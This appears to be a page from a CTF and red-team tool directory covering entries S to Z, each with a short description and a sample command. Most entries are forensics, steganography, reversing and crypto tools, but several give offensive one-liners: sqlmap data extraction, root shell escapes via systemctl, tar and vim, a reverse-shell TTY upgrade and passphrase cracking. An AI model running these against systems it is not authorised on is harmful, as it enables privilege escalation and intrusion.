
CTF Steganography

Encodes a hidden image or message into an audio file such that it only becomes visible as a spectrogram — the tool behind the "load the WAV in Sonic Visualiser" CTF trope.

python spectrology.py -i secret.png -o out.wav
visit → added by THUGS(red)

sqlmap tool

CTF Red Team Web

Automates detecting and exploiting SQL injection vulnerabilities, including database fingerprinting, data extraction and, where the DBMS allows it, OS command execution.

sqlmap -u 'http://target/?id=1' --batch --dbs
visit → added by THUGS(red)

ss — check what is actually listening, without netstat one-liner Linux

CTF Enumeration Network

netstat is deprecated on most modern distros; ss is the built-in replacement for a quick "what is this box listening on" check.

ss -tulnp
added by THUGS(red)

StegCracker tool

Brute Force CTF Steganography

Dictionary brute-forcer for steghide-protected files, wrapping steghide itself in a loop over a wordlist — Stegseek is the faster modern replacement for the same job.

stegcracker image.jpg rockyou.txt
visit → added by THUGS(red)

StegExpose tool

CTF Steganography

Steganalysis tool that scores a set of PNG/BMP images for likely LSB steganography, useful for triaging which of many images in a CTF archive is worth digging into by hand.

java -jar StegExpose.jar images/
visit → added by THUGS(red)

steghide tool

CTF Steganography

A steganography tool that hides data inside JPEG, BMP, WAV and AU files, with optional passphrase-based encryption — the classic CTF stego first-try.

steghide extract -sf image.jpg
visit → added by THUGS(red)

stegoVeritas tool

CTF Steganography

Steganography toolkit that automates the usual checklist against an image — metadata, LSB extraction, bit-plane dumps, colour-channel splits, and running other steg tools for you.

stegoveritas.py image.png
visit → added by THUGS(red)

Stegseek tool

Brute Force CTF Steganography

Extremely fast steghide passphrase cracker (thousands of times faster than brute-forcing steghide itself) that tries an entire wordlist against a JPEG/BMP/WAV/AU carrier.

stegseek carrier.jpg rockyou.txt
visit → added by THUGS(red)

StegSolve tool

CTF Steganography

Java GUI for stepping through bit planes, colour channels, palettes and frames of an image — the classic manual-inspection tool for image steganography before scripting anything.

java -jar stegsolve.jar
visit → added by THUGS(red)

strace a setuid binary to see what it touches one-liner Linux

Binary / RE CTF Red Team

Traces every syscall a binary makes — the fastest way to spot a privesc-relevant file it reads/writes, or a library it loads from a writable path.

strace -f -e trace=open,openat,execve ./suspicious-binary 2>&1 | less
added by THUGS(red)

strings tool

Binary / RE CTF Forensics

Extracts printable character sequences from a binary file — the first, fastest thing to run against any unknown file, from GNU binutils.

strings -n 8 suspicious.bin | less
visit → added by THUGS(red)

sudo -l — enumerate what you can already run as root one-liner Linux

CTF Enumeration Red Team

The very first command in any Linux privesc checklist: lists every command the current user is allowed to sudo, which is the input GTFOBins entries actually key off.

sudo -l
visit → added by THUGS(red)

systemctl — abuse a pager to spawn a shell one-liner Linux

CTF LOLBAS / LOTL Red Team

systemctl status pipes its output through less by default; from inside that pager, !/bin/sh spawns a shell — a real GTFOBins entry that surprises a lot of people.

sudo systemctl status trivial-rce-cve
# once the pager opens, type: !/bin/sh
visit → added by THUGS(red)

tar — spawn a shell via a checkpoint action one-liner Linux

CTF LOLBAS / LOTL Red Team

GNU tar's --checkpoint-action flag can be abused to run an arbitrary command mid-archive — one of the less obvious GTFOBins entries.

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
visit → added by THUGS(red)

Trace Labs OSINT VM tool Linux

CTF OSINT

Kali-based virtual machine pre-loaded with the OSINT tooling Trace Labs uses in its missing-persons CTFs, a ready-made environment rather than a single tool.

visit → added by THUGS(red)

Triton tool

Binary / RE CTF Research

Dynamic binary analysis library combining symbolic execution and taint analysis, usable as a scriptable engine for deobfuscation and constraint solving in RE work.

visit → added by THUGS(red)

Unicorn Engine tool

Binary / RE CTF

Lightweight, multi-architecture CPU emulator library used to run a snippet of machine code (or an entire firmware routine) in isolation to observe its behaviour without real hardware.

visit → added by THUGS(red)

Upgrade a dumb shell to a real TTY one-liner Linux

CTF Offensive Red Team

Turns a bare reverse/bind shell into a full interactive TTY with job control, tab completion and arrow keys.

python3 -c 'import pty;pty.spawn("/bin/bash")'
# then background it and fix the terminal:
# ^Z
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200
added by THUGS(red)

UPX tool

Binary / RE CTF

The ultimate packer for executables — used legitimately to shrink binaries, but in CTF reversing it usually shows up the other way round: unpacking a UPX-wrapped challenge binary.

upx -d packed_binary
visit → added by THUGS(red)

vim — break out to a shell from a SUID/sudo editor one-liner Linux

CTF LOLBAS / LOTL Red Team

vim's :! escape runs a shell command — with sudo vim or a SUID vim binary that shell inherits the elevated privilege.

vim -c ':!/bin/sh'
visit → added by THUGS(red)

Volatility tool

Blue Team CTF Forensics

The standard open-source memory forensics framework — extracts processes, network connections, injected code and more from a RAM capture across Windows, Linux and macOS.

vol -f memdump.raw windows.pslist
visit → added by THUGS(red)

WavSteg tool

CTF Steganography

LSB steganography tool for hiding and extracting data in WAV audio files, part of a small suite alongside a matching PNG LSB tool.

python3 WavSteg.py -r -s cover.wav -o out.txt -n 2
visit → added by THUGS(red)

Wireshark tool

Blue Team CTF Forensics Network

The world's most widely used network protocol analyzer — deep inspection of hundreds of protocols, live capture and offline analysis, with a filter language everyone in the field eventually learns.

wireshark -i eth0 -k
visit → added by THUGS(red)

x64dbg tool Windows

Binary / RE CTF

Open-source user-mode x86/x64 debugger for Windows with a plugin ecosystem (ScyllaHide, x64dbgpy) that is the de facto free alternative to OllyDbg/Immunity on modern binaries.

visit → added by THUGS(red)

XOR-decrypt against a known-plaintext crib one-liner

Ciphers Cryptography CTF

Recovers a repeating XOR key by XOR-ing ciphertext against a guessed plaintext fragment (a crib like "flag{"), a fast manual technique when the key is shorter than or equal to the crib.

python3 -c "
ct = bytes.fromhex('...')
crib = b'flag{'
print(bytes(c ^ k for c, k in zip(ct, crib)))
"
added by THUGS(red)

xortool tool

Ciphers Cryptography CTF

Guesses the key length of a repeating-key XOR ciphertext from character-frequency analysis, then recovers the most likely key.

xortool ciphertext.bin -l 4
visit → added by THUGS(red)

yafu tool

Cryptography CTF

"Yet Another Factoring Utility" — automatically picks and runs the best available factoring algorithm (ECM, SIQS, NFS) for a given integer, useful once a modulus is too big for trial division.

./yafu "factor(n)"
visit → added by THUGS(red)

Z3 tool

Binary / RE Cryptography CTF

Microsoft's SMT solver, used constantly in CTF reversing and crypto to turn 'find x such that these constraints hold' into a script instead of manual algebra — a frequent shortcut past custom validation logic.

python3 -c "
from z3 import *
x = BitVec('x', 32)
s = Solver()
s.add(x * 3 + 7 == 100)
print(s.check(), s.model())
"
visit → added by THUGS(red)

Z3 Theorem Prover tool

Binary / RE Cryptography CTF

Microsoft Research's SMT solver, scripted from Python to encode a challenge's constraints (a keygen check, a crypto relation, a logic puzzle) and let the solver produce a satisfying input.

python3 -c "from z3 import *; s = Solver()"
visit → added by THUGS(red)

zsteg tool

CTF Steganography

Detects hidden data stashed in the low bits of PNG and BMP pixel data — the standard second stego check after steghide comes up empty on an image.

zsteg -a image.png
visit → added by THUGS(red)